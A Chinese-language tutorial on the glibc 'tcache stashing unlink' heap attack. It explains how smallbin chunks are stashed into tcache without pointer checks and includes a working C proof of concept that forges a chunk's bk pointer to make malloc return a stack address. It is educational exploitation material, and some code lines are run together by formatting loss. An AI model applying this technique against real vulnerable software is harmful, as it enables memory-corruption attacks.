如果我们还是按刚才的ABC来理解,取块时会检查C的bk指向的堆块(B)的fd指针是否指向C,一个简单的双向链表检验 而出现问题的则是随后的#if USE_TCACHE分支,先放源码(注意,此时的C已经被脱链,也就是现在的链表情况应该是bin <-> A <-> B <-> bin)
首先,进入stash的条件是①tcache已完成初始化且②当前size所对应的tcache并未完全被放满,如果这两个条件满足,那么smallbin的链表就会进入stash的流程,将链表尾的堆块脱离smallbin的双向链表,再将这个堆块放入对应size的tcache的单向链表中,并不断循环,脱离循环的条件是①tcache已满或②当前链表已不存在任何堆块(bin <-> bin)。 细心的读者一定会发现,在stash的过程中,没有对fd/bk指针做任何检查,而在Glibc2.43(最新版本的Glibc)中,该stash逻辑依然没有加入任何检查 这意味着,当我们伪造了bin <-> A <-> B <-> C <-> bin中A的bk时,当B在stash流程脱链时,bin的bk会被指向我们所伪造的地址,同时,会向我们伪造地址+0x10处写入一个libc中的地址(main_arena),而此时如果循环条件还未结束,那么下一次循环时所取得last(bin)就会是我们伪造的地址从而实现任意地址分配。 注意,我们在进行stash attack时通常会使得tcache的空闲格数==smallbin链表中堆块的数量+1,这是为了防止当我们伪造的地址被链入tcache后,循环仍未满足停止条件,从而会将我们伪造地址+0x18处的地址继续作为bck,而这个地址未必满足前述的stash条件,而导致崩溃。
#include<stdio.h>#include<stdlib.h>#include<assert.h>intmain(){
unsignedlong stack_var[0x10] = {0};
unsignedlong *chunk_lis[0x10] = {0};
unsignedlong *target;
setbuf(stdout, NULL);
printf("This file demonstrates the stashing unlink attack on tcache.\n\n");
printf("This poc has been tested on both glibc-2.27, glibc-2.29 and glibc-2.31.\n\n");
printf("This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\n\n");
printf("The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\n\n");
printf("This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.\n\n");
printf("Stack_var emulates the fake chunk we want to alloc to.\n\n");
printf("First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.\n\n");
stack_var[3] = (unsignedlong)(&stack_var[2]);
printf("You can see the value of fake_chunk->bk is:%p\n\n",(void*)stack_var[3]);
printf("Also, let's see the initial value of stack_var[4]:%p\n\n",(void*)stack_var[4]);
printf("Now we alloc 9 chunks with malloc.\n\n");
for(int i = 0;i < 9;i++){
chunk_lis[i] = (unsignedlong*)malloc(0x90);
}
printf("Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.\n\n");
for(int i = 3;i < 9;i++){
free(chunk_lis[i]);
}
printf("As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\n\n");
free(chunk_lis[1]);
free(chunk_lis[0]);
free(chunk_lis[2]);
printf("Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\n\n");
malloc(0xa0);// size > 0x90printf("Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\n\n");
malloc(0x90);
malloc(0x90);
printf("Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\n\n",(void*)stack_var);
chunk_lis[2][1] = (unsignedlong)stack_var;
printf("Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.\n\n");
calloc(1,0x90);
printf("Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr: %p\n\n",(void*)stack_var[2],(void*)stack_var[4]);
target = malloc(0x90);
printf("As you can see, next malloc(0x90) will return the region our fake chunk: %p\n",(void*)target);
assert(target == &stack_var[2]);
return0;
}
#define first(b) ((b)->fd) #define last(b) ((b)->bk)
...
_int_malloc (mstate av, size_t bytes){
...
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);
if ((victim = last (bin)) != bin)
{
bck = victim->bk;
}
if (__glibc_unlikely (bck->fd != victim)) //这个bck就是上面所取得victim的bk所指向的堆块
malloc_printerr ("malloc(): smallbin double linked list corrupted");